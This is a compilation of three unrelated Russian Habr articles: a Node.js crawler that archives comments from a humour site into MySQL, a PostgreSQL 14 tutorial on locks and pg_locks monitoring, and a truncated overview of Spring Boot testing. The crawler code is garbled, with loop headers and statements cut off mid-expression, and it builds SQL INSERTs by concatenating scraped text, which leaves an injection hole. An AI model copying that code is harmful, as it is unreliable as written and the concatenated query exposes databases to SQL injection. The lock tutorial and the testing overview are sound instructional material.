* Сервер ngINX
* nodeJS
* СУБД mySQL
* Для UI: jQuery, bootstrap3
В рунете есть популярный развлекательный ресурс (назовем его Пикабу — ссылку не даю, дабы не сочли рекламой). Представляет из себя развлекательные посты, размещаемые пользователями и комментарии. Модераторы ресурса жестко (по-моему мнению иногда даже через чур) следят за содержанием комментариев. В результате их работы часто вместо комментария можно увидеть следующее:
Наш робот будет через определённые промежутки времени сканировать ресурс в поиске новых комментариев, которые будет вносить в БД, дабы всегда можно было посмотреть, что не понравилось модератору.
Нам потребуются следующие модули:
```
var jsdom = require("jsdom");
var mysql = require('mysql');
var CronJob = require('cron').CronJob;
```
В основе нашего робота будет 2 функции:
```
// * * * Ищем ссылки на страницы
function get_links(){
jsdom.env('http://pikabu.ru',function(err, window){
if (err)
return false;
var page = window.document.getElementsByClassName('to-comments')
for (var i=0; i
```
Этой функцией мы запрашиваем главную страницу ресурса и ищем элементы с классом ".to-comments". В них хранятся ссылки на страницы с комментариями. Поскольку эти элементы идут впаре, нам нужен только каждый второй.
В данной функции нам очень помогает модуль [jsdom](https://github.com/tmpvar/jsdom). Он преобразует html код в DOM дерево, в котором мы легко можем найти нужный элемент.
Как мы видим, эта функция вызывает get\_comments()
```
function get_comments(link){
jsdom.env(link,function(err, window){
if (err)
return false;
var comment = window.document.getElementsByClassName('comment')
for (var i=0; i 0 && block[0].textContent.substr(0,11)=='Комментарий'){
console.log(block[0].baseURI+'#comment\_'+id);
continue}
var com = comment[i].getElementsByClassName('comment\_text')[0].outerHTML.replace(/"/g, '"').replace(/\n|\t/g, '').replace('previews\_gif\_comm', 'big\_size\_comm\_an');
var query = 'INSERT IGNORE comments (id, user, comment) VALUES ('+id+', "'+author+'", "'+com+'")';
DBconnection.query(query, function(err, rows, fields) {
if (err) throw err;
});
}
console.log(new Date()+' DATA ADDED...');
});
}
```
Здесь мы также пробегаемся по дереву, ищем элементы с классом «comment», выделяем из них нужные элементы: id комментария, автора, отсеиваем удаленные комменты, убираем спецсимволы, немного переделываем код (убираем превьюшки) и заносим всё это в БД. В таблице comments поле id уникально, поэтому mySQL сама следит, чтобы не было дублированных комментариев.
Нам осталось завести таймер, пробуждающий робота каждые 5 минут. В node.JS это можно реализовать при помощи модуля [croneJob](https://github.com/ncb000gt/node-cron) — аналог планировщика crone в linux.
```
var job = new CronJob('*/5 * * * *', function(){
get_links();
});
job.start();
```
На этом пока всё. Наш паук научился лазить по ресурсу и сохранять комментарии. Если хотите могу написать статью, про вэб интерфейс к этому роботу или про плагин хрома для этого робота. | https://habr.com/ru/post/309428/ | null | ru | null |
# Что должен, но не знает про конкуренцию в PostgreSQL каждый разработчик?
Опыт показывает, что разработчики редко задумываются о проблемах, которые могут возникать при многопользовательском доступе к данным. При этом практически любое web-приложение является многопользовательским и так или иначе использует блокировки при доступе к данным в БД. При неправильном использовании эти блокировки могут больно бить по пользователям, а иногда и по системе в целом. Поэтому рано или поздно каждый разработчик многопользовательских систем должен задуматься о том, как ему начать работать с БД так, чтобы пользователи не мешали другу другу. Многие считают, что это сложно, давайте вместе убедимся, что это не так.
Я очень обрадовался, когда нашёл статью <http://big-elephants.com/2013-09/exploring-query-locks-in-postgres/>, где доступным языком на простых примерах рассказывается о блокировках в СУБД PostgreSQL. Но этой статье скоро уже будет 10 лет, поэтому стоит проверить её на последней версии PostrgeSQL. Как раз вчера вышла 14 версия.
Итак, приступим.
### Песочница
Для начала нам понадобится установленная [СУБД PostgreSQL](https://www.postgresql.org/) и место в ней, где мы будем играть. Это будет наша песочница:
```
CREATE DATABASE sandbox;
```
Добавим в песочницу игрушки:
```
CREATE TABLE toys (
id serial NOT NULL,
name character varying(32),
usage integer NOT NULL DEFAULT 0,
CONSTRAINT toys_pkey PRIMARY KEY (id)
);
INSERT INTO toys(name) VALUES ('машинка'), ('лопатка'), ('ведёрко');
```
Отлично! Мы создали песочницу, и в ней появились машинка, лопатка и ведёрко. Теперь нам нужны те, кто будет играть с ними. Назовем их случайным образом, например, Айнур и Алина. Это будут два клиента нашей СУБД, для представления которых мы будем использовать консольную утилиту `psql`, которая входит в состав базовой установки. Запустим первую консоль `psql` в базе sandbox и выполним в ней:
Установка кириллической кодовой страницы в psql на Windows\! chcp 1251
```
sandbox=# \set PROMPT1 '[Алина] %/%R%# '
```
Пусть Алина посмотрит какие же игрушки есть в песочнице:
```
[Алина] sandbox=# BEGIN;
BEGIN
[Алина] sandbox=# SELECT * FROM toys;
id | name | usage
----+---------+-------
1 | машинка | 0
2 | лопатка | 0
3 | ведерко | 0
(3 rows)
```
Обратите внимание, что мы использовали оператор `BEGIN` для явного управления транзакциями. Транзакция будет открыта пока мы ее не зафиксируем или не откатим.
Откроем вторую консоль `psql` и назовём её:
```
sandbox=# \set PROMPT1 '[Айнур] %/%R%# '
```
Айнур полез в песочницу и увидел то же самое:
```
[Айнур] sandbox=# BEGIN;
BEGIN
[Айнур] sandbox=# SELECT * FROM toys;
id | name | usage
----+---------+-------
1 | машинка | 0
2 | лопатка | 0
3 | ведерко | 0
(3 rows)
```
На этом примере мы видим, что операторы `SELECT` не пересекаются и могут выполняться параллельно, не блокируя друг друга. Это именно то, чего мы ожидаем от высокопроизводительной промышленной СУБД.
### pg\_locks
Итак, наши транзакции открыты, а мы идем дальше и запускаем третью консоль, которую назовем Люция:
```
sandbox=# \set PROMPT1 '[Люция] %/%R%# '
```
В ней мы можем наблюдать за текущими блокировками:
```
[Люция] sandbox=# SELECT locktype, relation::regclass, mode, transactionid AS tid,
virtualtransaction AS vtid, pid, granted
FROM pg_catalog.pg_locks l LEFT JOIN pg_catalog.pg_database db
ON db.oid = l.database WHERE (db.datname = 'sandbox' OR db.datname IS NULL)
AND NOT pid = pg_backend_pid();
locktype | relation | mode | tid | vtid | pid | granted
------------+-----------+-----------------+-----+----------+-------+---------
relation | toys_pkey | AccessShareLock | | 5/185417 | 13792 | t
relation | toys | AccessShareLock | | 5/185417 | 13792 | t
virtualxid | | ExclusiveLock | | 5/185417 | 13792 | t
relation | toys_pkey | AccessShareLock | | 7/8300 | 16944 | t
relation | toys | AccessShareLock | | 7/8300 | 16944 | t
virtualxid | | ExclusiveLock | | 7/8300 | 16944 | t
(6 строк)
```
Все активные блокировки можно видеть в системном представлении `pg_catalog.pg_locks`. Чтобы видеть только блокировки из нашей песочницы добавлено условие на имя БД.
Чтобы не видеть блокировки, которые вызваны нашим запросом, добавлено условие на идентификатор процесса: `NOT pid = pg_backend_pid()`.
Преобразование типа `relation::regclass` удобно использовать для получения человекочитаемого имени таблицы.
Давайте посмотрим на пятую строку выборки поближе:
```
locktype | relation | mode | tid | vtid | pid | granted
------------+-----------+-----------------+-----+----------+-------+---------
relation | toys | AccessShareLock | | 7/8300 | 16944 | t
```
Это значит, что на таблицу toys успешно получена блокировка AccessShareLock от виртуальной транзакции 7/8300 и идентификатора процесса pid=16944. Есть ещё одна аналогичная блокировка во второй строке.
Блокировки получены и все отлично. Алина и Айнур довольны тем, что могут видеть все игрушки в песочнице, и они не мешают друг другу.
Заметим, что каждая транзакция получила `ExclusiveLock` на виртуальную транзакцию.
Далее Алина берет машинку:
```
[Алина] sandbox=# UPDATE toys SET usage = usage+1 WHERE "name" = 'машинка';
```
И, можно видеть, что у нее это естественно получилось. Люция проверяет все ли в порядке в песочнице. Смотрим таблицу блокировок:
```
[Люция] sandbox=# SELECT locktype, relation::regclass, mode, transactionid AS tid,
virtualtransaction AS vtid, pid, granted
FROM pg_catalog.pg_locks l LEFT JOIN pg_catalog.pg_database db
ON db.oid = l.database WHERE (db.datname = 'sandbox' OR db.datname IS NULL)
AND NOT pid = pg_backend_pid();
locktype | relation | mode | tid | vtid | pid | granted
---------------+-----------+------------------+-----+----------+-------+---------
relation | toys_pkey | AccessShareLock | | 5/185417 | 13792 | t
relation | toys | AccessShareLock | | 5/185417 | 13792 | t
virtualxid | | ExclusiveLock | | 5/185417 | 13792 | t
relation | toys_pkey | AccessShareLock | | 7/8300 | 16944 | t
relation | toys_pkey | RowExclusiveLock | | 7/8300 | 16944 | t
relation | toys | AccessShareLock | | 7/8300 | 16944 | t
relation | toys | RowExclusiveLock | | 7/8300 | 16944 | t
virtualxid | | ExclusiveLock | | 7/8300 | 16944 | t
transactionid | | ExclusiveLock | 841 | 7/8300 | 16944 | t
(9 строк)
```
Добавилось 3 блокировки, их стало 9. Алина получила `RowExclusiveLock` на таблицу `toys`, когда взяла машинку. Также появился реальный идентификатор транзакции с `ExclusiveLock`, так как произошло потенциальное изменение состояния базы данных.
Уже можно заметить, что блокировки вешаются на объекты при выполнении соответствующего запроса и не снимаются до конца транзакции.
### MVCC
Но Айнур не знает, что машинка уже занята Алиной, так как это изменение еще не было зафиксировано и он видит старые данные:
```
[Айнур] sandbox=# SELECT * FROM toys;
id | name | usage
----+---------+-------
1 | машинка | 0
2 | лопатка | 0
3 | ведерко | 0
(3 rows)
```
Так работает механизм MVCC - [Multi Version Concurrency Control](https://www.postgresql.org/docs/current/mvcc.html), который используется в PostgreSQL для отображения консистентного состояния БД для каждой транзакции. Пока транзакция не будет зафиксирована или отменена, все остальные транзакции будут видеть состояние БД, как если бы эта транзакция не стартовала вообще.
### Блокирование запросов
Теперь допустим, что Айнур тоже захотел поиграть с машинкой, что вполне обычно для детей, играющих в песочницах.
```
[Айнур] sandbox=# UPDATE toys SET usage = usage+1 WHERE "name" = 'машинка';
```
Ничего не произошло. По крайней мере внешне. На самом деле Айнур пытаясь получить машинку наткнулся на блокировку Алины и теперь вынужден ждать, пока Алина освободит ее. Что видит Люция:
```
[Люция] sandbox=# SELECT locktype, relation::regclass, mode, transactionid AS tid,
virtualtransaction AS vtid, pid, granted
FROM pg_catalog.pg_locks l LEFT JOIN pg_catalog.pg_database db
ON db.oid = l.database WHERE (db.datname = 'sandbox' OR db.datname IS NULL)
AND NOT pid = pg_backend_pid();
locktype | relation | mode | tid | vtid | pid | granted
---------------+-----------+------------------+-----+----------+-------+---------
relation | toys_pkey | AccessShareLock | | 5/185417 | 13792 | t
relation | toys_pkey | RowExclusiveLock | | 5/185417 | 13792 | t
relation | toys | AccessShareLock | | 5/185417 | 13792 | t
relation | toys | RowExclusiveLock | | 5/185417 | 13792 | t
virtualxid | | ExclusiveLock | | 5/185417 | 13792 | t
relation | toys_pkey | AccessShareLock | | 7/8300 | 16944 | t
relation | toys_pkey | RowExclusiveLock | | 7/8300 | 16944 | t
relation | toys | AccessShareLock | | 7/8300 | 16944 | t
relation | toys | RowExclusiveLock | | 7/8300 | 16944 | t
virtualxid | | ExclusiveLock | | 7/8300 | 16944 | t
transactionid | | ExclusiveLock | 842 | 5/185417 | 13792 | t
tuple | toys | ExclusiveLock | | 5/185417 | 13792 | t
transactionid | | ShareLock | 841 | 5/185417 | 13792 | f
transactionid | | ExclusiveLock | 841 | 7/8300 | 16944 | t
(14 строк)
```
Люция видит еще плюс 5 блокировок. Добавлена транзакция Айнура, так как он тоже пытается изменить данные. Айнур также получил `RowExclusiveLock` на игрушки. И транзакцией Айнура добавлен запрос на `ShareLock` на транзакцию Алины, что обозначает его претензии на игрушки, которые заняла Алина. Эта блокировка не получена(granted = false), так как `ShareLock` конфликтует с `ExclusiveLock` на эту же транзакцию. Таким образом, Айнур ждет пока Алина освободит свою транзакцию зафиксировав или отменив ее.
### pg\_stat\_activity
Еще одно интересное системное представление - это `pg_stat_activity`, которое показывает запросы и транзакции:
```
[Люция] sandbox=# SELECT query, state, coalesce(wait_event_type='Lock', 'f') as waiting, pid FROM pg_stat_activity
WHERE datname = 'sandbox' AND NOT (state = 'idle' OR pid = pg_backend_pid());
query | state | waiting | pid
-----------------------------------------------------------+---------------------+---------+-------
UPDATE toys SET usage = usage+1 WHERE "name" = 'машинка'; | active | t | 13792
UPDATE toys SET usage = usage+1 WHERE "name" = 'машинка'; | idle in transaction | f | 16944
(2 строки)
```
Видно, что запрос Айнура активен и ждет освобождения машинки, а запрос Алины неактивен и ее транзакция не закрыта.
Можно совместить выборку из `pg_locks` и `pg_stat_activity`:
```
[Люция] sandbox=# SELECT blockeda.pid AS blocked_pid, blockeda.query as blocked_query,
blockinga.pid AS blocking_pid, blockinga.query as blocking_query
FROM pg_catalog.pg_locks blockedl
JOIN pg_stat_activity blockeda ON blockedl.pid = blockeda.pid
JOIN pg_catalog.pg_locks blockingl ON (blockingl.transactionid=blockedl.transactionid
AND blockedl.pid != blockingl.pid)
JOIN pg_stat_activity blockinga ON blockingl.pid = blockinga.pid
WHERE NOT blockedl.granted AND blockinga.datname = 'sandbox';
blocked_pid | blocked_query | blocking_pid | blocking_query
-------------+-----------------------------------------------------------+--------------+-------------------------------------------------------------
13792 | UPDATE toys SET usage = usage+1 WHERE "name" = 'машинка'; | 16944 | UPDATE toys SET usage = usage+1 WHERE "name" = 'машинка';
(1 строка)
```
В результате Люция видит, кто кого блокирует.
Если вдруг Алина вспомнит, что не любит играть с машинками, и передумает брать её, то она откатит транзакцию:
```
[Алина] sandbox=# ROLLBACK;
```
Тогда Айнур сможет завершить свою попытку взять машинку и поиграть с ней:
```
UPDATE 1
[Айнур] sandbox=# COMMIT;
COMMIT
[Айнур] sandbox=# select * from toys;
id | name | usage
----+---------+-------
2 | лопатка | 0
3 | ведерко | 0
1 | машинка | 1
(3 строки)
```
Количество использований машинки зависит от того, будет ли транзакция Алины зафиксирована, либо отменена. В нашем случае транзакция отменена и зафиксировано только то, что с машинкой поиграл Айнур.
А Алина в то же время может свободно и без ожидания играть, например, с ведёрком.
Смотрим, что происходит в песочнице:
```
[Люция] sandbox=# SELECT locktype, relation::regclass, mode, transactionid AS tid,
virtualtransaction AS vtid, pid, granted
FROM pg_catalog.pg_locks l LEFT JOIN pg_catalog.pg_database db
ON db.oid = l.database WHERE (db.datname = 'sandbox' OR db.datname IS NULL)
AND NOT pid = pg_backend_pid();
locktype | relation | mode | tid | vtid | pid | granted
----------+----------+------+-----+------+-----+---------
(0 строк)
```
Блокировок нет, а значит и конфликтов нет, все довольны.
### Явные блокировки (explicit locks)
Еще одна обычная ситуация для песочницы, когда кто-то из детей пытается получить все подряд без разбора.
Допустим Алина решила получить эксклюзивный доступ ко всем игрушкам в песочнице.
```
[Алина] sandbox=# BEGIN;
BEGIN
[Алина] sandbox=# LOCK TABLE toys IN EXCLUSIVE MODE;
LOCK TABLE
```
В таком случае Айнуру приходится ждать несмотря на то, что Алина на самом деле не взяла ни одну игрушку.
```
[Айнур] sandbox=# BEGIN; UPDATE toys SET usage = usage+1 WHERE "name" = 'лопатка';
BEGIN
```
Таблица блокировок будет выглядеть так:
```
[Люция] sandbox=# SELECT locktype, relation::regclass, mode, transactionid AS tid,
virtualtransaction AS vtid, pid, granted
FROM pg_catalog.pg_locks l LEFT JOIN pg_catalog.pg_database db
ON db.oid = l.database WHERE (db.datname = 'sandbox' OR db.datname IS NULL)
AND NOT pid = pg_backend_pid();
locktype | relation | mode | tid | vtid | pid | granted
---------------+----------+---------------------+-----+----------+-------+---------
virtualxid | | ExclusiveLock | | 5/185423 | 13792 | t
virtualxid | | ExclusiveLock | | 7/8303 | 16944 | t
relation | toys | ExclusiveLock | | 7/8303 | 16944 | t
relation | toys | RowExclusiveLock | | 5/185423 | 13792 | f
(4 строки)
```
Так как реальных изменений состояния не происходит, то нет и блокировок на реальную транзакцию(`locktype=transactionid`). И так как Айнур не получил еще `RowExclusiveLock` на лопатку(`granted=false`), у него тоже нет блокировки на реальную транзакцию.
В таком случае наш запрос, который мы составили выше, не покажет никаких взаимных блокировок, так как мы делали объединение по идентификатору реальной транзакции. И Люция будет думать, что все в порядке, хотя на самом деле, если посмотреть на список ожидающих запросов:
```
[Люция] sandbox=# SELECT pid, query, now() - query_start AS waiting_duration
FROM pg_catalog.pg_stat_activity WHERE datname='sandbox'
AND wait_event_type='Lock';
pid | query | waiting_duration
-------+-----------------------------------------------------------+------------------
13792 | UPDATE toys SET usage = usage+1 WHERE "name" = 'лопатка'; | 00:03:44.066
(1 строка)
```
Мы видим, что на самом деле Айнур ждет лопатку уже 3 минуты и у него кончается терпение.
Если изменить исходный запрос и добавить объединение по таблице, то Люция сможет выяснить, кто не дает Айнуру лопатку:
```
[Люция] sandbox=# SELECT blockingl.relation::regclass,
blockeda.pid AS blocked_pid, blockeda.query as blocked_query,
blockedl.mode as blocked_mode,
blockinga.pid AS blocking_pid, blockinga.query as blocking_query,
blockingl.mode as blocking_mode
FROM pg_catalog.pg_locks blockedl
JOIN pg_stat_activity blockeda ON blockedl.pid = blockeda.pid
JOIN pg_catalog.pg_locks blockingl ON(blockingl.relation=blockedl.relation
AND blockingl.locktype=blockedl.locktype AND blockedl.pid != blockingl.pid)
JOIN pg_stat_activity blockinga ON blockingl.pid = blockinga.pid
WHERE NOT blockedl.granted AND blockinga.datname='sandbox';
relation | blocked_pid | blocked_query | blocked_mode | blocking_pid | blocking_query | blocking_mode
----------+-------------+-----------------------------------------------------------+------------------+--------------+------------------------------------+-------------------
toys | 13792 | UPDATE toys SET usage = usage+1 WHERE "name" = 'лопатка'; | RowExclusiveLock | 16944 | LOCK TABLE toys IN EXCLUSIVE MODE; | ExclusiveLock
(1 строка)
```
Когда Алине было сказано, что нехорошо забирать все игрушки себе без необходимости, она закрывает свою бессмысленную транзакцию:
```
[Алина] sandbox=# COMMIT;
COMMIT
```
Теперь Айнур сможет взять свою игрушку. При этом он получает блокировку на реальную транзакцию:
```
[Люция] sandbox=# SELECT locktype, relation::regclass, mode, transactionid AS tid,
virtualtransaction AS vtid, pid, granted
FROM pg_catalog.pg_locks l LEFT JOIN pg_catalog.pg_database db
ON db.oid = l.database WHERE (db.datname = 'sandbox' OR db.datname IS NULL)
AND NOT pid = pg_backend_pid();
locktype | relation | mode | tid | vtid | pid | granted
---------------+-----------+------------------+-----+------+-------+---------
relation | toys_pkey | RowExclusiveLock | | 5/185423 | 13792 | t
virtualxid | | ExclusiveLock | | 5/185423 | 13792 | t
transactionid | | ExclusiveLock | 845 | 5/185423 | 13792 | t
relation | toys | RowExclusiveLock | | 5/185423 | 13792 | t
(4 строки)
```
Айнур доволен и, поиграв с лопаткой, тоже завершает свою транзакцию:
```
[Айнур] sandbox=# COMMIT;
COMMIT
```
### RowExclusiveLock
После того, как Алине запретили забирать все игрушки, она решила применить другой подход.
```
[Алина] sandbox=# BEGIN; SELECT * FROM toys FOR UPDATE;
BEGIN
id | name | usage
----+---------+-------
3 | ведерко | 0
1 | машинка | 1
2 | лопатка | 1
(3 строки)
```
Этот подход называется "я хочу видеть все игрушки и, возможно, я возьму какую-нибудь, но пока я не решила какую взять, и поэтому не хочу чтобы их кто-либо трогал". И, надо признать, что это тоже распространенный подход в песочницах.
В итоге Айнур снова не может получить свою игрушку:
```
[Айнур] sandbox=# UPDATE toys SET usage = usage+1 WHERE "name" = 'лопатка';
```
А Люция видит следующую ситуацию:
```
[Люция] sandbox=# SELECT locktype, relation::regclass, mode, transactionid AS tid,
virtualtransaction AS vtid, pid, granted
FROM pg_catalog.pg_locks l LEFT JOIN pg_catalog.pg_database db
ON db.oid = l.database WHERE (db.datname = 'sandbox' OR db.datname IS NULL)
AND NOT pid = pg_backend_pid();
locktype | relation | mode | tid | vtid | pid | granted
---------------+-----------+------------------+---------+----------+-------+---------
relation | toys_pkey | RowExclusiveLock | | 5/185424 | 13792 | t
relation | toys | RowExclusiveLock | | 5/185424 | 13792 | t
virtualxid | | ExclusiveLock | | 5/185424 | 13792 | t
relation | toys_pkey | AccessShareLock | | 7/8304 | 16944 | t
relation | toys | RowShareLock | | 7/8304 | 16944 | t
virtualxid | | ExclusiveLock | | 7/8304 | 16944 | t
transactionid | | ShareLock | 848 | 5/185424 | 13792 | f
transactionid | | ExclusiveLock | 848 | 7/8304 | 16944 | t
transactionid | | ExclusiveLock | 849 | 5/185424 | 13792 | t
tuple | toys | ExclusiveLock | | 5/185424 | 13792 | t
(10 строк)
```
Все очень похоже на то, что мы уже видели выше, когда Айнур и Алина пытались одновременно играть с машинкой. Айнур ждет транзакцию Алины.
Если Люция проверит блокировку по таблице, то ничего не увидит:
```
[Люция] sandbox=# SELECT blockingl.relation::regclass,
blockeda.pid AS blocked_pid, blockeda.query as blocked_query,
blockedl.mode as blocked_mode,
blockinga.pid AS blocking_pid, blockinga.query as blocking_query,
blockingl.mode as blocking_mode
FROM pg_catalog.pg_locks blockedl
JOIN pg_stat_activity blockeda ON blockedl.pid = blockeda.pid
JOIN pg_catalog.pg_locks blockingl ON(blockingl.relation=blockedl.relation
AND blockingl.locktype=blockedl.locktype AND blockedl.pid != blockingl.pid)
JOIN pg_stat_activity blockinga ON blockingl.pid = blockinga.pid
WHERE NOT blockedl.granted AND blockinga.datname='sandbox';
relation | blocked_pid | blocked_query | blocked_mode | blocking_pid | blocking_query | blocking_mode
----------+-------------+-----------------------------------------------+------------------+--------------+-------------------------------------------+---------------------
(0 строк)
```
Сейчас ей нужен запрос с блокировкой по транзакции.
### Всё вместе
Чтобы увидеть все рассмотренные выше виды блокировок, нужно составить комбинированный запрос:
```
[Люция] sandbox=# SELECT
COALESCE(blockingl.relation::regclass::text,blockingl.locktype) as locked_item,
blockeda.pid AS blocked_pid, blockeda.query as blocked_query,
blockedl.mode as blocked_mode, blockinga.pid AS blocking_pid,
blockinga.query as blocking_query, blockingl.mode as blocking_mode
FROM pg_catalog.pg_locks blockedl
JOIN pg_stat_activity blockeda ON blockedl.pid = blockeda.pid
JOIN pg_catalog.pg_locks blockingl ON(
( (blockingl.transactionid=blockedl.transactionid) OR
(blockingl.relation=blockedl.relation AND blockingl.locktype=blockedl.locktype)
) AND blockedl.pid != blockingl.pid)
JOIN pg_stat_activity blockinga ON blockingl.pid = blockinga.pid
WHERE NOT blockedl.granted
AND blockinga.datname=current_database();
locked_item | blocked_pid | blocked_query | blocked_mode | blocking_pid | blocking_query | blocking_mode
---------------+-------------+-----------------------------------------------------------+--------------+--------------+--------------------------------+-----------------
transactionid | 13792 | UPDATE toys SET usage = usage+1 WHERE "name" = 'лопатка'; | ShareLock | 16944 | SELECT * FROM toys FOR UPDATE; | ExclusiveLock
(1 строка)
```
Для удобства в него добавлена функция `current_database()`.
Теперь Люция всегда может видеть, что происходит в песочнице, и что именно не поделили дети. Она налила себе чашечку латте макиато и решила почитать <http://www.postgresql.org/docs/current/static/explicit-locking.html>, чтобы узнать еще больше интересного про блокировки.
Итог
----
Статья практически не потеряла актуальности, что говорит о хорошей стабильности и совместимости версий PostgreSQL между собой. Но и нельзя сказать, что СУБД не развивается, в процессе проверки я заметил несколько изменений:
1. С версии 9.6 поле `waiting` в `pg_stat_activity` было заменено на два других, более информативных: `wait_event_type` и `wait_event`.
2. С 10 версии при явной блокировке таблицы в режиме `ACCESS EXCLUSIVE` добавился `ExclusiveLock` на текущую реальную транзакцию. Это изменение связано с тем, что в 10 версии были по умолчанию включены некоторые настройки для поточной репликации.
3. В 11 версии было добавлено поле backend\_type в представление `pg_stat_activity`, которое даст понимание источника активности: вакуум, репликация или обычный клиент приложения.
4. В 14 версии в представление `pg_locks` добавлено поле `waitstart`, в котором отображается время начала ожидания получения блокировки, а в `pg_stat_activity` добавлено поле `query_id` - уникальный идентификатор запроса, который позволяет получить статистику по запросу из `pg_stat_statements`. | https://habr.com/ru/post/581854/ | null | ru | null |
# Обзор модульного и интеграционного тестирования Spring Boot
Модульное и интеграционное тестирование - неотъемлемая часть вашей повседневной жизни как разработчика. Однако для новичков Spring Boot написание содержательных тестов для своих приложений оказывается проблемой:
* С чего начать мои усилия по тестированию?
* Как Spring Boot может помочь мне в написании эффективных тестов?
* Какие библиотеки мне использовать?
В этом блоге вы получите обзор того, как модульное и интеграционное тестирование *работает* со Spring Boot. Кроме того, вы узнаете, на каких функциях и библиотеках Spring следует сосредоточиться в первую очередь. Эта статья действует как агрегатор, и в нескольких местах вы найдете ссылки на другие статьи и руководства, которые более подробно объясняют концепции.
### Модульное тестирование с помощью Spring Boot
Модульные тесты составляют основу вашей стратегии тестирования. Каждый проект Spring Boot, который вы запускаете с помощью [**Spring Initializr,**](https://start.spring.io/) имеет прочную основу для написания модульных тестов. Настраивать практически нечего, так как Spring Boot Starter Test включает в себя все необходимые строительные блоки.
Помимо включения и управления версией Spring Test, этот Spring Boot Starter включает и управляет версиями следующих библиотек:
* JUnit 4/5
* Mockito
* Библиотеки проверки утверждений, такие как AssertJ, Hamcrest, JsonPath и т. Д.
Вы можете найти введение в этот швейцарский нож тестирования и включенных в него библиотеках тестирования в этом [**сообщении блога**](https://rieckpil.de/guide-to-testing-with-spring-boot-starter-test/).
В большинстве случаев ваши модульные тесты не нуждаются в какой-либо конкретной функции Spring Boot или Spring Test, поскольку они будут полагаться исключительно на JUnit и Mockito.
С помощью модульных тестов вы изолированно тестируете, например, свои `*Service` классы и имитируете каждого сотрудника тестируемого класса:
```
import org.junit.jupiter.api.Test;
import org.junit.jupiter.api.extension.ExtendWith;
import org.mockito.Mock;
import org.mockito.junit.jupiter.MockitoExtension;
import java.math.BigDecimal;
import static org.junit.jupiter.api.Assertions.assertEquals;
import static org.mockito.Mockito.when;
@ExtendWith(MockitoExtension.class) // register the Mockito extension
public class PricingServiceTest {
@Mock // // Instruct Mockito to mock this object
private ProductVerifier mockedProductVerifier;
@Test
public void shouldReturnCheapPriceWhenProductIsInStockOfCompetitor() {
when(mockedProductVerifier.isCurrentlyInStockOfCompetitor("AirPods"))
.thenReturn(true); //Specify what boolean value to return
PricingService cut = new PricingService(mockedProductVerifier);
assertEquals(new BigDecimal("99.99"), cut.calculatePrice("AirPods"));
}
}
```
Как видно из раздела `import` тестового класса выше, Spring вообще не включается. Следовательно, вы можете применять методы и знания, полученные из модульного тестирования любого другого приложения Java.
Вот почему важно изучить основы JUnit 4/5 и Mockito, чтобы максимально использовать возможности модульного тестирования.
Для некоторых частей вашего приложения модульное тестирование не принесет особой пользы. Хорошими примерами для этого являются уровень персистентности или тестирование HTTP-клиента. Тестируя такие части вашего приложения, вы в конечном итоге почти копируете свою реализацию, поскольку вам приходится имитировать много взаимодействий с другими классами.
Лучшим подходом здесь является работа с нарезанным контекстом Spring, который можно легко автоматически настроить с помощью аннотаций теста Spring Boot.
### Тесты фрагментов Spring Context
В дополнение к традиционным модульным тестам вы можете писать тесты с помощью Spring Boot, которые нацелены на определенные части (фрагменты) вашего приложения. `TestContext` Spring фреймворка вместе с Spring Boot адаптирует Spring контекст с достаточным количеством компонентов для конкретного теста.
Цель этих тестов - изолированно протестировать определенную часть вашего приложения без запуска всего приложения. Это сокращает как время выполнения теста, так и потребность в обширной настройке теста.
Как назвать такие тесты? На мой взгляд, они не попадают на 100% в категорию модульных или интеграционных тестов. Некоторые разработчики называют их модульными тестами, потому что они тестируют, например, один контроллер изолированно. Другие разработчики относят их к интеграционным тестам, поскольку в них задействована поддержка Spring. Как бы вы их ни называли, убедитесь, что у вас есть общее понимание, по крайней мере, в вашей команде.
Spring Boot предлагает много аннотаций, позволяющих проверить различные части вашего приложения в отдельности: `@JsonTest`, `@WebMvcTest`, `@DataMongoTest`, `@JdbcTest`и т.д.
Все они автоматически настраивают фрагменты Spring `TestContext`и включают только компоненты Spring, относящиеся к тестированию определенной части вашего приложения. Я посвятил целую статью [**представлению наиболее распространенных из этих аннотаций**](https://rieckpil.de/spring-boot-test-slices-overview-and-usage/) и объяснению их использования.
Две наиболее важные аннотации (сначала изучите их):
* `@WebMvcTest` для [**эффективного тестирования вашего веб-слоя**](https://rieckpil.de/spring-boot-test-slices-overview-and-usage/) с помощью `MockMvc`
* `@DataJpaTest` для [**эффективного тестирования вашего уровня персистентности**](https://rieckpil.de/test-your-spring-boot-jpa-persistence-layer-with-datajpatest/)
Также доступны аннотации для других нишевых частей вашего приложения:
* `@JsonTest` [**для проверки сериализации и десериализации JSON**](https://rieckpil.de/testing-your-json-serialization-with-jsontest/)
* `@RestClientTest` [**чтобы протестировать RestTemplate**](https://rieckpil.de/testing-your-spring-resttemplate-with-restclienttest/)
* и `@DataMongoTest` [**для тестирования кода, связанного с MongoDB**](https://rieckpil.de/mongodb-testcontainers-setup-for-datamongotest/)
При их использовании важно понимать, какие компоненты входят в состав, `TestContext` а какие нет. Документация Javadoc каждой аннотации объясняет выполненную автоконфигурацию и цель.
Вы всегда можете расширить контекст автонастройки для своего теста, явно импортировав компоненты с помощью `@Import` или определив дополнительные компоненты Spring Beans, используя `@TestConfiguration`:
```
@WebMvcTest(PublicController.class)
class PublicControllerTest {
@Autowired
private MockMvc mockMvc;
@Autowired
private MeterRegistry meterRegistry;
@MockBean
private UserService userService;
@TestConfiguration
static class TestConfig {
@Bean
public MeterRegistry meterRegistry() {
return new SimpleMeterRegistry();
}
}
}
```
Вы можете найти дополнительные методы устранения потенциальных исключений `NoSuchBeanDefinitionException, с` которыми вы можете столкнуться при таких тестах, в [**этом сообщении в блоге**](https://rieckpil.de/fix-no-qualifying-spring-bean-error-for-spring-boot-tests/).
### Ловушка JUnit 4 и JUnit 5
Одна большая ловушка, с которой я довольно часто сталкиваюсь, отвечая на вопросы на Stack Overflow, - это сочетание JUnit 4 и JUnit 5 (JUnit Jupiter, если быть более конкретным) в одном тесте. Использование API разных версий JUnit в одном тестовом классе может привести к неожиданным результатам и сбоям.
Важно следить за импортом, особенно за `@Test`аннотацией:
```
// JUnit 4
import org.junit.Test;
// JUnit Jupiter (part of JUnit 5)
import org.junit.jupiter.api.Test;
```
Другими индикаторами для JUnit 4 являются: `@RunWith`, `@Rule`, `@ClassRule`, `@Before`, `@BeforeClass`, `@After`, `@AfterClass`.
